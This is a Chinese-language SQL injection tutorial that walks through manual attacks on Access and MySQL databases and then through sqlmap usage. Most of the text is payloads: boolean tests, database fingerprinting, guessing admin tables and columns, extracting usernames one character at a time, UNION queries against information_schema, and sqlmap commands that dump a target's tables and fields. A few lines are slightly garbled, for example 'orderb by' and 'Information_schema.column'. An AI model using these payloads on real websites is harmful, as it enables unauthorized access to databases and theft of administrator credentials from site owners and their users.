开发人员在开发Web系统时对输入的数据没有进行有效的验证及过滤,就存在引发SQL注入漏洞的可能,并导致查看、插入、删除数据库的数据,甚至可以执行主机系统命令。

1.可能出现asp?id=x的网站

只能是基于asp、PHP、jsp、aspx的动态网站,并且存在数据库交互,例:登陆、留言板、搜索、新闻。但是静态页面不可以,如html、htm。

2.漏洞测试

(1)单引号测试:在页面中执行命令时使用成对单引号和单个单引号进行测试,查看是否有SQL注入;

(2)利用条件语句测试:利用SQL连接选项‘and’连接URL,把1=1和1=2作为条件同样连接进去,如果条件不成立数据库就会发生变化,代表存在注入,同时也可以判断数据库的类型。

3.Acess数据库注入(手动)

(1)使用‘and’语句来判断是否存在注入;

(2)判断数据库类型;

and (select count(*) from msysobjects)>0;返回权限不足是access表,反之则MSSQL。

(3)查看数据库名;

and db_name()>0

(4)查看版本信息;

and 0<>(select @@version)

(5)查看数据库中是否存在admin这个管理表;

and exists(select * from [admin])

and (select count(*) from admin)>0

(6)查看admin这个表中是否有username这个管理列;

and exists(select top 1 [username] from [admin])

and (select username from admin)>0

(7)猜测admin这个管理列中用户名的长度;

and (select top 1 len(username) from admin)>0

后面的长度随意猜测,选择最大返回正常值加1作为长度。

(8)取出username的ASCII码值;

and (select top 1 asc(mid(username,N,1)) from admin)>0

mid()函数用来截取,N为第几位,‘1’代表几位数;得到的结果可用工具小葵进行转换,得到的便是真实值。

4.MySQL数据库注入(手动)

(1)判断注入点,后面加#,返回正常则为MySQL数据库;

(2)判断字段数;

orderb by 1--

数字可以不断的加,当返回值改变时,则为全部字段数+1;得到字段数来判断能回显数据的位置

(3)联合查询,判断可回显数据的位置;

union select 1,2,3...(上一个得到的字段数)--

要在URL中加入一个错误的判断值(and 1=2 或在数值前加‘-’号)页面才会显示能够显示数据的位置。

(4)查看用户,版本,库名

user(),version(),database()

(5)查看管理表(常见的管理表命名方式:system、login、admin、users)

union select 1,table_name(此处为可显示数据的位置),3,...(字段数) from Information_schema.tables where table_schema=(此处为库名的16进制数) limit 0,1--

(6)查看列

union select 1,column_name,3,..., from Information_schema.column where table_name=(表名16进制) limit 0,1--

5.sqlmap

(1)需要在python环境下运行;

(2)测试是否为注入点;

sqlmap.py -u "URL"

(3)获取数据列表;

sqlmap.py -u "URL" --dbs

(4)当前数据库;

sqlmap.py -u "URL" --current-db

(5)获取数据库所有表信息;

sqlmap.py -u "URL" --tables -D "目标数据库"

(6)获取列;

sqlmap.py -u "URL" --column -T "管理表" -D “目标数据库”

(7)获取字段;

sqlmap.py -u "URL" --dump -C "字段" -T “管理表” -D “目标数据库”